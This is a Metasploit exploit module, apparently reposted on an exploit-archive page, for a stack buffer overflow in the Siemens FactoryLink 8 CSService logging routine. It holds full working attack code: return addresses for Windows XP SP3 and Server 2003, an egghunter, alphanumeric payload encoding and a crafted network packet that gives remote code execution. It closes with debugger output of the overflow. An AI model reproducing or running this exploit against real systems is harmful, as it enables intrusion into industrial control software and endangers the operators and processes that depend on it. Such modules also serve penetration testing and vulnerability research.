ExploitFixes
Siemens FactoryLink 8 CSService Logging Buffer Overflow 2011-06-25 15:15:03

##
# $Id: factorylink_csservice.rb 13019 2011-06-25 00:54:18Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Egghunter

def initialize(info={})
super(update_info(info,
'Name' => "Siemens FactoryLink 8 CSService Logging Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found on Siemens FactoryLink 8. The
vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,
the user-supplied path first gets converted to ANSI format (CodePage 0), and then
gets handled by a logging routine where proper bounds checking is not done,
therefore causing a stack-based buffer overflow, and results arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13019 $",
'Author' =>
[
'Luigi Auriemma <aluigi[at]autistici.org>', #Initial discovery, poc
'sinn3r', #Metasploit (thx hal)
],
'References' =>
[
['URL', 'http://aluigi.altervista.org/adv/factorylink_1-adv.txt'],
],
'Payload' =>
{
'BadChars' => "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => {'BufferRegister'=>'ECX'},
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3',
{
'Offset' => 965, #Offset to overwrite RETN
'Ret' => 0x7e4456f7, #JMP ESP in USER32.dll
'Max' => 1400, #Max buffer used
}
],
[
'Windows Server 2003 SP0',
{
'Offset' => 965,
'Ret' => 0x77d20738, #JMP ESP in USER32.dll
'Max' => 1400,
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 25 2011"))

register_options(
[
Opt::RPORT(7580)
], self.class)
end

#User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf
def to_unicode(text)
output = ''
(text.length).times do |i|
output << text[i,1] << "\x00"
end
return output
end

def exploit

#Modify payload
#XP = Align EAX 0x3a bytes. Win2k3SP0 = 0x0a bytes
p = "\x57" #PUSH EDI
p << "\x59" #POP ECX
p << ((target.name =~ /server 2003/i) ? "\xb0\x0a" : "\xb0\x3a")
p << "\x30\xc1" #XOR CL,AL
p << payload.encoded

#Meterpreter tends to fail because of it being mangled. We use an egghunter
#instead to ensure the payload's integrity.
egg_options =
{
:checksum => true,
:eggtag => "W00T",
}

egghunter, p = generate_egghunter(p, payload_badchars, egg_options)

#x86/alpha_mixed egghunter
alpha_encoder = framework.encoders.create("x86/alpha_mixed")
alpha_encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
egghunter = alpha_encoder.encode(egghunter, nil, nil, platform)

sploit = ''
sploit << make_nops(4)
sploit << p
sploit << rand_text_alpha(965-sploit.length)
sploit << [target.ret].pack('V*')
sploit << egghunter

sploit << rand_text_alpha(target['Max']-sploit.length)
sploit = to_unicode(sploit)

pkt = "\x00\x00\x4c\x45\x4e\x00\x40\x0b\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x04\x00"
pkt << "\x00\x00\x01\x07\x00\x00\x0b\x31\x99\x62\x72\x6b\x01\x00\x00\x00\x02\x04\x00\x00"
pkt << "\x00\x04\x00\x00\x00\x01\x07\x00\x00\x0b\x19\x99\x00\x00\x00\x06\x00\x00\x00\x03"
pkt << "\x06\x00\x00\x0a\xf6\x11\x22\x33\x44"
pkt << sploit
pkt << "\x00\x00\x06\x00\x00\x00\x06\x11\x22\x33\x44\x00\x00\x04\x00\x00\x00\x04\x00\x00"
pkt << "\x00\x01\x99\x99\x99"

print_status("Sending malicious request to remote host...")

connect
sock.put(pkt)
handler
select(nil, nil, nil, 6)
disconnect
end
end

=begin
0:000> g
call vsprintf. Destination=0x0012ead0 Format=0x0043b92c Args=0x0012eedc
eax=0012eedc ebx=7c809a99 ecx=0043b92c edx=0012ead0 esi=0012eee8 edi=00000002
eip=0040b908 esp=0012eac4 ebp=0012fabc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
CSService+0xb908:
0040b908 ff15249b4400 call dword ptr [CSService+0x49b24 (00449b24)] ds:0023:00449b24={msvcrt!vsprintf (77c3fe49)}

0:000> dc 0012ead0
0012ead0 65535343 63697672 43203a65 47534d53 CSService: CSMSG
0012eae0 73694c5f 6c694674 525f7365 2d205145 _ListFiles_REQ -
0012eaf0 6f685320 72694477 2c303d73 6c694620 ShowDirs=0, Fil
0012eb00 3d726574 6150202c 613d6874 61616161 ter=, Path=aaaaa
0012eb10 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0012eb20 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0012eb30 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa
0012eb40 61616161 61616161 61616161 61616161 aaaaaaaaaaaaaaaa

=end